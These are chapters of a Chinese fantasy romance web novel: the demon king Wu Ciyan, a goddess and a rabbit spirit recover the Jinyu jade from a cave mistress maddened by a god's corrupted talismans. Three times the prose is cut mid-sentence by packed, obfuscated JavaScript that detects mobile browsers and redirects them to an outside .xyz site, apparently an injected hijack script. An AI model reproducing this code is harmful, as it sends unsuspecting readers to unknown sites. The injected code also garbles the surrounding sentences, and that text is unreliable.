邬辞砚才不要他呢,就让他跟着鹉十二回妖界皇城了,如果期间能遇到更好的皮囊,就给他换上,再赔偿他一套宅子。 沁安山水明山秀,风光旖旎,倘若不是来寻妖,当真是个游山玩水的好地方。这妖怪真是给自己挑了个修炼的好地方。据说她占据此地以后,山下的小妖便不得从此山过,非要过,就得留下买路财。从这里过路的凡人,更是有命去,没命回。 温兰枝完全忘了是来这里干什么的,跑得最欢,邬辞砚找了一条绳子,一边捆在温兰枝的腰上,一边捆在自己的腰上。 “嗯?”温兰枝疑惑地歪头。 邬辞砚道:“等会儿你就知道为什么了。” 这话应验得快,还没到半个时辰,温兰枝就领悟了。 山太高,路太陡,她实在是爬不动了。慕蓉走在最前面,没注意到温兰枝的状态,邬辞砚一直放慢脚步,一回头,看到温兰枝已经把腰都弯下了,她紧紧拉着绳子,好像拉着救命稻草。 到了一条小溪,慕蓉一步跨过,邬辞砚紧随其后,转头,向温兰枝伸出手。 温兰枝向前一步,仰起脖子。 邬辞砚迟疑片刻,当着慕蓉的面,揪起了温兰枝的领子,把她拎过了溪流。 慕蓉瞳孔微缩,哭笑不得地道:“你们在干什么?” 邬辞砚在溪边找了个大树,就地坐下,“我累了,休息会儿再走吧。” “好。”慕蓉应一声,跟着坐下。 温兰枝早就累得不行了,听到能休息,嘴巴都咧开了,坐在邬辞砚旁边。 温兰枝问道:“你昨天晚上说月华上神想干嘛呀?” 邬辞砚道:“他那么怕事情败露,当然不希望我见到紫铜洞的洞主啦,只要他先找到锦玉,交给我,我就不用再往紫铜洞去了。或者,就算我发现了事情真相,只要锦玉在他手里,他可以用这个和我作为交换,我帮他保密,他把锦玉送给我,他料定了这件事对我来说无关紧要,我没必要为了一个不认识的洞主和他作对。” “哦——”温兰枝点头,应和道,“你真厉害。” 邬辞砚道:“那当然。” 慕蓉问道:“那洞主是个什么东西?” 邬辞砚道:“是个让神仙不至于太丢脸的东西。” “九尾狐?”慕蓉问道。 邬辞砚点头,“你知道?” 慕蓉道:“隐隐有猜测,不敢确定。我在天上待得久,和月华上神也有些交集,他人品不怎么样,但做事有分寸,我总觉得,他不至于收一只妖怪做义子,原来是九尾狐。” 温兰枝没听明白,问道:“不是说,是因为洞主怀孕了吗?和九尾狐有什么关系?” 邬辞砚冷哼一声,笑道:“那区别可大了。九尾狐祖上和神仙颇有些渊源。月华如果收的是一只普通的妖怪,就算只是偶尔指导一些仙法,也会出现各种各样的传言。往小了说,是风流债,往大了说,是利益往来。但九尾狐可就不一样了,天上的神仙都觉得,九尾狐生来有仙缘,就是差个机遇。月华上神给了九尾狐这个机遇,是他慈悲为怀,以后九尾狐就算是上天当个坐骑,那也是托了月华上神的福,全天下的人都替九尾狐感念他的慈心呢。” 温兰枝问道:“那要是九尾狐做不了神仙,岂不是砸了月华上神的招牌?所以他要想方设法帮九尾狐成仙吗?” “那不会。”邬辞砚道,“如果九尾狐做不了神仙,也是她自己不努力,自己没天赋,辜负了月华上神的好意。月华巴不得她一辈子待在沁安山别出来。” 温兰枝靠在树干上,头一歪,枕在邬辞砚肩膀上,风吹过来,吹得她打了个喷嚏,她揉了揉鼻子,继续靠在邬辞砚肩上。 “好了,太阳下去了。”慕蓉起身,她头发被吹得有些乱,拿下发带来重新绑了一下,“继续赶路吧。” 邬辞砚拍了一下温兰枝的头,把她变成兔子,塞在钱袋子里,继续赶路。 巨大的轰鸣声突然降下,连地面都跟着震了一下,两个人顺着声音方向看过去,是一个巨石,从山上坠落而下,朝着这边来了。 石头滚得飞快,一眨眼的工夫,就已经到了两人面前。 邬辞砚伸手一指,石头顿时定在那里,有惊无险。 慕蓉知道一个石头奈何不了他们,没有表现出害怕,温兰枝则是被吓傻了,等完全安全下来,才想起来要害怕一下,隔着钱袋和衣服,抓了两下邬辞砚的腿,在钱袋子里翻滚着。 邬辞砚把手伸进钱袋子里,捏了一下她的前爪,“别闹了。” 慕蓉疑惑地转过头来,“跟我说话?” 邬辞砚道:“跟鬼说话。” 慕蓉看到他伸在钱袋子里的手,明白过来。 邬辞砚又指了一下,石头顷刻碎成粉末。 “有些古怪。”邬辞砚道。 “是啊。”慕蓉道,正要开口,被邬辞砚打断。 “来,你看看有什么古怪。”邬辞砚把温兰枝从钱袋子里揪出来,另一只手托着她,强迫她面对石头过来的方向,“快动动脑子吧,你那脑子再不动就生锈了。” 话音刚落,温兰枝突然剧烈挣扎起来,四条腿都卖力地挣扎,两个大脚板轮流拍打邬辞砚的手心,发出清脆的声响。邬辞砚感觉怪好听的,就把手往她脚边又挪了挪,温兰枝更生气了,拍得更卖力了,声音更快更清脆了。 慕蓉扶额,无奈道:“你们两个别玩儿了。” 又一个石头飞出山崖,顺着刚才那条路滚了过来,打断了几人的说话。 邬辞砚刚把温兰枝放回钱袋子,两个三个四个,八、九、十、十一、十二个石头全都飞下来,从四面八方,滚过来。 邬辞砚抬手,升起四道坚固的岩墙,石头砸上来,发出巨响后,四分五裂,瘫在地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083647|179471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。 慕蓉道:“真是神了,这些石头这么大,竟然没有一个被树卡住,连碰都没有碰到,这些石头滑落的道路,像是完全设计好的一样。” 邬辞砚道:“不然怎么说,凡人进得来,出不去呢。” 慕蓉看着邬辞砚腰间的钱袋子,担忧道:“兔子容易受惊,这么大的声音,她动也不动,别是被吓死了。” 邬辞砚道:“我用法术堵住了她的耳朵,再说,就算再笨,好歹是妖怪,哪能那么轻易就被吓死。” 慕蓉大声喊道:“经过这一遭,她以后怕是不敢再跟着你了。” 邬辞砚平常音道:“那可说不准。” “你说什么?”慕蓉大声问道,“你大声些,杂音太大了,听不见。” 邬辞砚大声喊道:“我说!她不跟着我最好!烦死了!回去我就把她送走!” 慕蓉喊道:“那不如给我吧?我想要!” 邬辞砚顿住,随后认真地摇了两下头。 慕蓉笑了一下,不再调侃。 外面杀声震震,温兰枝在钱袋子里悠然自得,邬辞砚的体温很凉,让钱袋子里的温度也降下来,温兰枝蹭了两下邬辞砚的腿,感觉整个身体都凉下来了。 她探出头来,外面的石头已经停了,岩墙也被放下了。 邬辞砚低头,看着她,问道:“你怎么出来了。” 温兰枝用爪子刨了两下他的手。 邬辞砚笑问道:“你担心我?” 温兰枝点头。 邬辞砚笑意更甚,“瞎担心。” 慕蓉叹了口气,道:“我刚才还想着,如果顺着石头过来的地方走,应该能找到紫铜洞洞主,结果四面八方的石头都过来了,现在我们应该上哪去找?” 她话音刚落,突然,听到一声喊:“几位好身手!” 山头上出现了个人。 邬辞砚道:“这就是紫铜洞洞主时居。” 慕蓉诧异道:“你为什么认识她?” 邬辞砚道:“说来话长。” 慕蓉道:“那她为什么不认识你?” 邬辞砚道:“呃……以前也认识,说来话长。” 时居看两个人竟然聊起来了,完全没有理她的意思,气上心来,“好哇!竟敢不把本洞主放在眼里!来人!给我……” “并非如此!”慕蓉喊道,“洞主息怒,我们刚才并不知您的身份,给您赔罪。我乃天上的慕蓉上神,这位是妖王邬辞砚,我们二位有事相求,听说月华上神已经飞书给洞主了?不知洞主可有收到?” 寂静响彻云霄。 两方久久相望,却无一人开口。 时居思索,她是收到月华送来的一封飞书,但她早已打定主意要与月华恩断义绝,本来以为月华今日回来,会好生跟她说说情,她昨晚想了很久,是要把他杀了还是放他走,但那厮竟然只托了一封信,完全不见人影。 此刻,月华的朋友赶来,是否要接待? 好像没得选,就算她能打过慕蓉上神,也打不过邬辞砚。 她道:“那就进洞里来歇歇脚吧。不过丑话说在前头,本洞主和月华上神半文钱关系也没有,不要以为你们是他的朋友,我就会帮你们忙。” 12. 12 时居驾马走在前面,小妖怪们跟在后面,邬辞砚和慕蓉跟在最后面。 下午风凉,温兰枝休息够了,就出来和他们一起走。 慕蓉转过头来,看着邬辞砚,等着他解释。 邬辞砚之前当通缉犯,天南海北逃命的时候,来过这里,所以他对这里的石头阵很熟悉。他第一次来的时候,正是紫铜洞最鼎盛的时候,时居的弟子围在山上,人山人海,看不到一个空隙,尽管他有百分百的胜算,也看着心惊。 不过,幸好,当时时居忙着对付月华,根本没看到他。 他使了个法术,让月华受伤,救了时居,当时就是想做,就那么做了,没想什么后果。却不想被时居看出来了,知道是他施法救人,就把他当救命恩人请进紫铜洞去做客。 后来月华因为从沁安山逃得匆忙,被几个神仙注意到了,查出他之前经常来往沁安山,编造了许多故事。他这才不得不给了时居一个身份,尽管是很荒谬的身份,但好歹保了时居一条性命。 时居因为这件事,对邬辞砚百般感激。两个人本来聊得好好的,还说好一起再住一两个月,结果晚上喝多了,不小心说了不该说的,暴露了自己的身份。时居认识天上的神仙,即便不睦,他也不敢赌,就给紫铜洞所有的妖怪下了邪术,抹去一切和自己有关的记忆,连夜逃跑。 总之是很狼狈的经历,所以从未提起。 “照这么说,锦玉现在在时居手里,有你一份功劳。”慕蓉一副看好戏的表情,“诶,你可以让她恢复记忆啊,说不定人家看你是救命恩人,就乖乖奉上锦玉了。不过你这酒品也是够差的,喝多了什么都说。” 邬辞砚道:“是差,所以我从那以后就戒酒了。” 邬辞砚转过头,注意到温兰枝面色不太好,敲了一下她的脑袋,“想什么?” 温兰枝小声道:“我以前听和我一起练舞的姐姐说,她之前月圆的时候,会和心上人在月下饮酒。” 邬辞砚好笑道:“谁是你心上人?别顺杆爬啊。” “我说你是我心上人,又没说你的心上人要是我。”温兰枝立刻道,“我为什么不能把你当心上人?” 她少有这样口齿伶俐的时候,邬辞砚喜欢她这样,抿了下嘴唇,装作无奈的样子,妥协道:“好吧好吧,下次单独和你喝,好了吧?” 温兰枝开心得笑出声。 慕蓉若有所思地看着两个人,“哇哦~心上人哦。” 邬辞砚得意道:“你想成为兰兰的心上人,有机会吗?” 慕蓉看向温兰枝,“枝枝,你不能多几个心上人吗?” 几个人没说几句,注意到前面的队伍停下了。 两个小妖怪过来,领着他们进洞去。 洞里总的来说不算明亮,只有一些火把照明,邬辞砚想起来三百年前来的时候,被一两百个妖怪簇拥着,据说是因为前来投靠的妖怪太多,光将军就封了一百多号,还有许多无名无姓的小妖怪,在洞后面住着。 后来因为妖怪实在太多,还在山上开垦荒地,种菜养禽。 三个人走到最里面,只有三张桌子,时居在最上方的主桌坐着,她原本以为只有两个客人,所以只准备了三桌饭食,正当她打算让第三位客人随便挤一挤的时候,突然愣住了。 邬辞砚看她盯着温兰枝,往前走了两步,站到温兰枝面前。 时居站起来,眼睛嘴巴都睁得大大的,都能看清她眼白里杂乱的红血丝了。 她一步步郑重走来,拨开邬辞砚。 邬辞砚刚抽出腰间的短刀,却听她郑重地叫了一声:“恩人!” 邬辞砚:? 温兰枝:? 慕蓉:? 她握住温兰枝的手,低头,强忍住即将夺眶而出的眼泪,又叫了一声,“恩人、恩人,我曾到处去找你,我听说你被天上的神仙带走了,我去问过月华,他说让我不要多管闲事,恩人,我、我……” 温兰枝满眼茫然:“姑娘,你认错人了。” “姑娘?”时居怔住,随后笑起来,“恩人不愧是恩人,一眼就识破了我这变化之法,是,我是女子,恩人……不记得我了?” 她将温兰枝的手攥得更紧,“当年,我和月华斗法,险些被他杀害,是你出手救了我,我还用石头阵险些伤了你,多亏你,他在沁安山和我们打闹的事传开了,神仙们顺藤摸瓜摸出了好些事,他才不得不留下我一命。我请你来洞里做客,我们喝酒夜谈,你却为何不告而别?” 慕蓉听得两个眼睛大小都不一样了,她质问的眼神看向邬辞砚,“这个故事好耳熟啊,好像一刻钟前刚刚听过。” 邬辞砚更是一头雾水,摸不着头脑。 温兰枝轻轻抚摸她的脸颊,看着她哭,自己也想哭。 她道:“洞主,你真的认错人了。我连剑术都不会,怎么可能救你呢?应该是邬辞砚救的你吧?” “不可能!”她斩钉截铁道,“今日是我与邬公子第一次见面,怎么会是他救了我!一定是你,我不会记错的。” 温兰枝道:“你记错了,我没失忆。” 时居道:“你失忆了。” 温兰枝道:“我没失忆。” 时居道:“你失忆了。” 温兰枝道:“我真的没有。” 时居道:“不,相信我,你一定失忆了。” 温兰枝:“……”好吧。她失忆了。 她揽住温兰枝的肩膀,“恩人上座,是不是认错人了,一试便知。我知道恩人酒量很好,两坛下肚面不改色,我们试试就知道了!” 邬辞砚想拦,但看时居这么激动,他还真的不好拦,还是让温兰枝先试试吧,说不定她神识缺失前真的酒量很好呢。 一碗,两碗,三碗……八碗酒下肚,温兰枝只是脸上有点泛红,脑子看着还是清醒的。 “好!”时居激动得再倒一碗酒,“恩人请。” 邬辞砚和慕蓉面面相觑。 是真没想到竟然会有这么一出,如果温兰枝真是时居的恩人,那后面很多事就都好办了。 但邬辞砚敢保证自己的记忆没有出错,而且即便自己的记忆出错了,那也不可能拥有温兰枝的记忆啊。除非…… 三坛酒下肚,温兰枝真的醉了,邬辞砚时时刻刻关注着她,刚才,温兰枝在一声声叫好中失了心神,被夸得一杯接一杯,这会儿醉了,耳边逐渐听不见那些夸赞声,眼睛里就只剩了邬辞砚。 她站起身,走下台阶。 时居连忙上前迎接,怕她摔着,“恩人,你要去哪?” 温兰枝拨开她,扑通一声摔在地上,正好摔在邬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083648|179471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辞砚面前。 邬辞砚一手托腮,好整以暇地看着她。 她撑着站起来,盯着邬辞砚,然后弯腰,亲了一下他的嘴唇。 邬辞砚一怔,那张脸在自己眼前放大的时候,他竟然忘了躲开,接着,温兰枝因为喝醉向后倒去,邬辞砚一把拉住她,让她往前,倒在自己肩上。 时居最有眼力见儿了,连忙吩咐:“快!快给恩人和邬公子找一间洞居住,要那种床大的。” 邬辞砚:“……” 行吧,反正在天上他俩也天天住在一起,温兰枝是时居的恩人,他是时居的恩人的夫君,行,熟人好办事。 邬辞砚立刻就接受了这件事,只要能拿到锦玉,什么都行,谁的夫君谁的娘子都行。 邬辞砚道:“还有一件事,想请洞主帮忙。” 时居大手一挥,“恩人的心上人就是本洞主的心上人,有事尽管说!” 邬辞砚:“……” 行吧,只要能拿到锦玉,谁的夫君谁的娘子都行。 邬辞砚道:“我们此来,是为了锦玉。” “好说。”时居占了这锦玉快两百年,到现在都没参透用法,留在这也没用,“去取锦玉!” 她转过头来,笑呵呵道:“不过我也不知道用法,邬公子要是研究透了,也请借我用用。” 邬辞砚点头,“好。” 不一会儿,小妖怪就回来了,双手捧着一块洁净的玉石,泛着幽幽的蓝光,在这样看不到阳光的洞里更加明亮,好像破碎的月亮。 时居接过,递给邬辞砚。 邬辞砚伸手去拿,没拿动,他也不好意思硬抢,但也没有松手的意思。 时居看着他发怔,半晌,回过神儿来,松开手。 邬辞砚问道:“洞主有难处?” 时居问道:“邬公子,我们是不是认识啊?” 邬辞砚一噎,道:“洞主说过,我们是第一次见面,怎么了?” 时居道:“没什么,就是刚才突然心悸了一下,看着邬公子,就觉得很眼熟。” 邬辞砚看着锦玉,难道是这东西起作用了? 他把锦玉递给时居,“洞主再拿着试试?” 时居接过,握在手心里,几个人耐心的等着。 等时居再次交出锦玉,已经是一炷香之后了。 邬辞砚问道:“怎么样?” 时居道:“没有了,什么都看不到了。不知道这锦玉是怎么回事,很奇怪。” 邬辞砚道:“也许真的认识,曾经的某个瞬间,见过面吧。敢问洞主当年为何要讨来这块锦玉?” 时居道:“我总觉得恩人当时不是不告而别,她一定跟我说了什么,是我不记得了。后来月华跟我说,他感觉我中了邪术,我这才知道,我真的忘记了。” 邬辞砚问道:“你用什么跟他交换了锦玉?” 时居道:“义子的身份。” 他们初见的时候,时居就是一身男装,后来,月华为了自己的名声,就让时居穿了两百年男装。但是今天,锦玉交出去了,时居也不想再穿男装了。 也许是见到恩人太激动,也许是这些话闷在心里太久,她竟然情不自禁说出来了。 慕蓉站起身,走到她面前,道:“反抗是对的,这个交易并不公平。” 13. 13 邬辞砚抱着温兰枝,跟着领路的妖怪在蜿蜒的洞中走。 这里很绕,稍不注意就会走错路。 这里的每个石门上,都刻画着花纹,样式新奇,看着不像是装饰,倒像是符文。邬辞砚从前没有见过。 按说他走南闯北,什么样的符文都见过,不管是好的坏的,刻在门上还是画在纸上,他基本都能一眼看出来,不过有一点可以确定,他认不出的符文,一定不是什么好东西。 他顿住步子。 前面的妖怪听到脚步声停止了,转过头来。 邬辞砚问道:“这门上的是什么?装饰吗?” 领路的妖怪道:“是月华上神之前刻在门上的,说是月华咒,保平安的。” 每个神仙都有属于自己的咒术符文,把他们的符文刻在墙上,或是画在纸上贴起来,就表示对他们的信仰。只要把符文画对,也会产生相应的效果。比如慕蓉上神的慕蓉咒是驱邪祟的,把她的符文刻在门上,普通的小鬼和怨灵就进不来了。 “不对啊。”邬辞砚退后两步,仔细看了看,断定道,“我见过月华咒,这很像,但不是。” 领路的妖怪道:“邬公子记错了吧?这扇门里是洞主的藏宝阁,是月华上神亲笔画的,绝对不会有错。” 邬辞砚没再说话了,抱着温兰枝继续往前走。 他大概知道那是什么了。 他刚把温兰枝放到床上,温兰枝就醒了。 他挑眉,道:“好酒量,都这样了还能醒。” 温兰枝抓住他的手,问道:“你去哪?” 邬辞砚道:“不去哪,陪你睡觉。” 温兰枝问道:“你会陪我多久?” “呃……”邬辞砚想了一下,“陪到你睡醒。” 温兰枝不依不饶地问道:“我醒了你要去哪?” 邬辞砚道:“不知道,你醒了再说吧。” 温兰枝道:“那我醒了。” 邬辞砚被她胡搅蛮缠的劲儿逗笑了,道:“我困了,你陪我睡吧。” 他躺下来,和温兰枝并肩,任由温兰枝搂着他,缠着他。 温兰枝偷偷摸摸地把眼睛露出来,盯着他,盯着他脸上若隐若现的鳞片,盯着他下巴上尽管已经很认真修理但还是会冒出来一点的青色胡茬,盯着他眼角的疤,盯着他已经闭上的眼睛。 温兰枝道:“我一直揣揣不安,怕你不见了。” 邬辞砚道:“是惴惴不安。” 温兰枝:“……”她蹬了邬辞砚一脚,听到邬辞砚装模作样的痛呼声,总算是满意了,闭上眼睛,睡觉。 邬辞砚小声道:“没文化。” 温兰枝又蹬了他一脚,他闭嘴了。 兔子脚板大,爱蹬人,他都习惯了。 兔子喝醉了,说话的思路更清晰了,会用成语了,虽然用的是个错的,胆子也大了不少。邬辞砚转过头,他觉得,他更喜欢这样的温兰枝,就好像已经恢复神识了一样,是个爱闹腾不讲理,又有点可爱的小妖精。 身旁的呼吸声渐渐平稳,温兰枝睡着了。 邬辞砚侧身,看着她,薄唇轻启,用几不可闻的声音问道:“我们,之前,是不是认识?” 呼吸声依旧平缓,没有人理他。 他摸索出锦玉,放在胸口的位置,紧紧盯着温兰枝。 没有心悸,没有突然闪过的画面,什么都没有。 他失望地垂下眼眸,将锦玉放回钱袋。 难不成除了执念,他还丢了别的东西?比如……兔子? 慕蓉推门而入,面上带着慌张。 邬辞砚被温兰枝挟持着,起不来,只能艰难地做个噤声的动作。 慕蓉走上前,轻声道:“你我刚走,时居就掀了桌子,我刚才回去想问一些事情,就看到她在宴席上大喊大叫,旁边的妖怪都不敢说话,动也不敢动,接着,她下令杀了一个做菜的厨子。” 邬辞砚:“为的什么?” 慕蓉道:“她觉得今天的菜不合适,这么重要的客人来这里,竟然用这样的饭食接待。” 慕蓉看他半点也不惊讶的样子,问道:“她一直是这个脾气吗?” 邬辞砚摇头,道:“不是,她人很好。活泼爱笑,善良,从不残杀无辜。” 他说完,叹了口气,轻轻拍拍温兰枝的胳膊,把她的四肢从自己身上拿下来,蹑手蹑脚地坐起来,道:“你来的路上,看到那些符文了吗?” 慕蓉道:“什么符文?我没注意。” 邬辞砚道:“那你出去注意一下,刻在门上,每扇门都有,我这扇门也有。” 慕蓉疑惑地起身,打开房门,看了一下,很眼熟的符文,像是在哪里见过,但非要说是什么,说不上来。 邬辞砚走过来,看向旁边的小妖怪,“拿笔来。” 小妖怪小跑着去取了笔来,递给邬辞砚。 邬辞砚把月华上神的符文画在门上,刚画好,便透出金色的光芒。 慕蓉反应过来,“这是月华上神的符文?但不像啊。” 邬辞砚道:“月华在他的符文里多画了几笔。” 每一个符文皆有破解之法,随便改变一下,就会有不同的功效。 慕蓉思忱道:“月华加的第一笔,破除了符咒的功效,第二笔,改正为邪,不仅不能让符咒生效,反而让人梦魇缠身,不得安宁。一张符文的功效是微乎其微的,但这么多符文刻在一起,这么多年,早就让人迷失心智,行迹疯魔,难怪紫铜洞一年不比一年。” 慕蓉转脸看他,“你可有法子?” 邬辞砚叹了口气,扶额道:“我想救她,当年,好歹朋友一场,你没听她说吗?她曾托关系去天庭寻……呃不管是寻谁,总归是为了当年的情谊。但是……” “但是这么多年,她被符咒影响心智,不知道杀了多少妖怪,多少百姓,从前好歹只是收点买路财,也不多要,只要一个铜板。现在,怕是能留下一条命都是走了八辈子的福运了。月华就是想她被逼疯,想让她自己毁灭自己,等她酿成大祸,月华再出来,大义灭亲。”邬辞砚抚摸刻在墙上的符文,刻肌刻骨,难以转圜。 慕蓉领悟了他的意思,接话道:“如今这件事就算是败露了,月华上神不过是名誉扫地,毕竟他的孩子是九尾狐的后代,又不是普通的狐妖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083649|179471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。但紫铜洞洞主,一定不得善终,她要为这么多年做错的事付出代价,再多的不得已,都不是借口。” “有一个办法。”邬辞砚拍了两下石门,两个人走进去。 温兰枝翻了个身,继续睡。 慕蓉问道:“什么办法?” 邬辞砚道:“我让鹉老十布下了迷雾阵,月华这会儿还和鹉老十困在里面呢,我去杀了他。” 慕蓉道:“我不赞成。” 邬辞砚道:“我知道你不会赞成。” 慕蓉道:“不止是觉得你这样对自己的名声不好,我也觉得时居确实该为自己做的事情付出代价。她痛苦,被她杀害的妖怪、百姓,也无辜。我知道我说这些,听上去轻描淡写,时居承受了两百多年的精神折磨,是我三言两语间无法体会的,但那些凡人,在死前也一定极其痛苦、绝望,这一点,是你能体会的。” 邬辞砚道:“那你道如何?” 慕蓉道:“月华该死,时居残害众生,也该死。” 两人相对无言许久。 喊杀声震天响,突然从四面八方传来。 两个人都吓了一跳,温兰枝还没醒。 慕蓉侧耳仔细听,道:“好像是在喊杀时居。” 邬辞砚起身,道:“符咒不仅影响了时居,也影响了这些小妖,提心吊胆两百年,悲愤痛苦两百年,此刻,根本不需要月华动手,只这些恨她入骨的小妖,也叫她死无葬身之地。我们快走,去救她。” 他在屋子里布下了屏障,防止有人进来,和慕蓉一起,冲了出去。 紫铜洞的妖怪所剩不多,加起来也不超过三百个,他们个个咬牙切齿,怒火冲天,手上拿着各式各样的武器,连在厨房烧火的伙夫都拿着两块柴火出来了。 时居从座位上站起来,拿出一根棍子,那棍子一看就是用白骨制成。 她冷声笑道:“你们以为能杀得了我吗?不想死的,现在放下武器,乖乖就擒!” 妖群中爆发出哄闹: “荒谬!暴君!我们不会再臣服于你!” “我的孩子、丈夫、母亲!全都死在你的石头阵里,被压成肉泥!此仇不报,我誓不出沁安山!” “你以为用性命要挟有用吗?” “你的孩子死了!就要让我们的孩子陪葬!” “别跟她废话!杀时居!我要给我家人报仇!” 妖怪们一拥而上,都很默契地避开了邬辞砚和慕蓉,他们站在旁边,看着猩红着眼、拿命拼搏的妖怪们,他们为这地下的白骨森森而战,为自己往后的幸福而战。 脚步声响在身后,邬辞砚感受到后面有东西靠近,他看着时居,没打算回头,他自有把握不会被伤,接着,一阵凌乱的脚步声飞奔过来,听到一声熟悉的痛呼。 两个人慌张地转过身去,温兰枝提着剑,站在两个人后面,她倒下去,被邬辞砚揪着衣领拽到怀里,后面,是一只拿着棍子的低矮老鼠。 邬辞砚蹙眉,要去抢棍子,“你……” “恩人!”时居看温兰枝倒下,惊叫道。 “呃——”时居走神了,一柄剑穿过她的胸口。 14. 14 时居拔出胸口的剑,回头一棍子敲下去,那妖怪一命呜呼,手里的断剑掉在一边。 邬辞砚飞身进入包围圈,一把扯住时居的胳膊,化作云雾,溜走了,慕蓉紧随其后,跟着他出了紫铜洞。 两个人选在山顶落脚。 温兰枝挨的棍子没打在头上,只是皮外伤,并无大碍。她刚落地,就转过来,拉住时居的手,张了张嘴,想说什么,又止住了。 时居深吸好几口气,胸口的伤流了点血便迅速愈合。 邬辞砚问道:“不死之身?” 时居调整了一下气息,道:“是,之前情好的时候,月华给我的。” 邬辞砚看了一眼慕蓉,慕蓉也看了他一眼。 按照月华的尿性,他肯定巴不得时居赶紧死了,美色没了,还可以再找,名声没了,那可是真的没了,他绝对不会真的给什么实质性的好处,月华咒是这样,不死之身也不会有什么分别。 邬辞砚道:“我跟她说一下月华咒的事情,你去天庭调出月华当年收义子的文书。” 慕蓉问道:“你想走正规流程让他身败名裂?” 邬辞砚点头。 时居站起身,握着骨杖的手微微颤抖,“什么月华咒?” 邬辞砚拿过温兰枝手里的剑,三两下,就在地上描绘出了图样,“这是月华咒。” 他将事情和盘托出。 许久,时居都没有开口说一句话。 邬辞砚问道:“他给你不死之身的时候,有要什么东西吗?” 时居站在原地,仔细地回忆着当时的经过,每一个细节都不肯放过,想不起来,她就拼命砸脑袋,砸得眼泪汪汪。 温兰枝紧紧握住她的手。 她道:“没有,他只说想时时刻刻见到我,害怕我死了,他再也看不见了,他说,他会去天上为我求来不死之身,保佑我长生平安。” 她扑上前,死死抓住邬辞砚的胳膊,仿佛抓着一根藤条,一旦松手,就是万丈深渊。她看着他紧蹙的眉头,道:“我的孩子,是被我逼死的。” 邬辞砚扶住她。 她道:“月华说他忙,总不来沁安山,我想着忙就忙吧,我那么大个紫铜洞,还看不住孩子吗?可真的看不住,我一不留神,他就摔跤、磕绊,我教他拿笔,怎么也教不好,教他拿筷子,怎么都拿不对,我就打他,骂他,我不知道为什么,我就是控制不住我自己。” 她掩面痛哭:“月华偶尔来一次,让孩子背个诗,总是背不对。其实我和月华也没有那么深的感情,我没有必要为他打孩子的,可我还是动手了,当着他的面就动手,他走了,我更是拧着孩子的耳朵。晚上躺在床上,我又想,我没必要这样的。” 她泣不成声,蹲下身,声音越来越小:“我刚怀孕的时候,我就想,我的孩子,不会背诗没事,不会习武也没事,健健康康就好了。我可以带着他满山捉蝈蝈,我传授给他我最厉害的石头阵,我不高兴了,就把孩子交给那些将军们,他们都是孩子的舅舅姨姨,总说以后要帮我带孩子。以后,孩子有没有爹都无所谓,有他们就行了。” “但是,我的孩子被我折磨死了。”她卧倒在温兰枝怀里,“那天,他一百五十四岁生辰,他自己站到悬崖边上,跟我说,他活不下去了,他从来不喜欢读书,但是不读书,就好像活不下去了一样,他一百五十四岁了,还是要被我管着,沁安山,像个怎么都走不出去的牢笼。我来不及劝他,也来不及救他。我在山底下找了好久好久,在第二个月的晚上,找到了这么一根骨头。” “对不起,恩人……”她把脸埋起来,“恩人,我原本说孩子生下来,就认你做干娘……” 邬辞砚大概算了一下,他被抓上天庭那段时间,时居正经历丧子之痛没多久。她自己都这样了,还愿意去求月华。 他嗓子有些痛,闭目缓了好久,才压下去。 温兰枝道:“我当时答应你做孩子的干娘,是希望孩子能让你幸福,能让你快乐,如果这个孩子让你后半辈子都痛苦的话,我就不做干娘了,没什么对不起的。” 两个人皆是一怔,看向她。 温兰枝继续说道:“你才是我心里最重要的,如果你出了意外,我会很难过,我……”她不知道说什么了,半晌,憋出一句:“你要好好活着,就算是为了报答我。” “恩人!”时居坐起来,脸上还挂着泪痕,“你记起来了?” 温兰枝摇头,道:“没有,但我想,一定是这样的。以前的事情真的记不起来了,但以后,我会永远记住你。你也要记着我,要记着有个人,永远都希望你过得好。” “两个。”邬辞砚拍了一下时居的肩,“心上人的朋友就是我的朋友。” 时居猛地抱住温兰枝,沾了血污的手紧紧贴着她的背,嚎啕大哭。 等她哭够了,邬辞砚蹲下来,问道:“你还想再见他一面吗?” 时居怔住,半晌,道:“见!我要骂他出出气!” 话说鹉老十已经在迷雾阵困了两天了,他现在非常怀疑,邬辞砚是不是已经把他忘得干干净净了,别等回到妖界皇城再想起他啊,那他和月华上神可能要死一个在阵里了。 月华也不是白痴,他来过沁安山太多次,闭着眼都能走到紫铜洞的位置,迷路在这里,显然是有圈套。 月华道:“我不理解,邬公子到底是什么意思。” 鹉老十道:“我不知道呀。” 月华道:“再不出去,你我都要耽误大事,你只说出口在哪里。” 鹉老十道:“我不知道呀。” 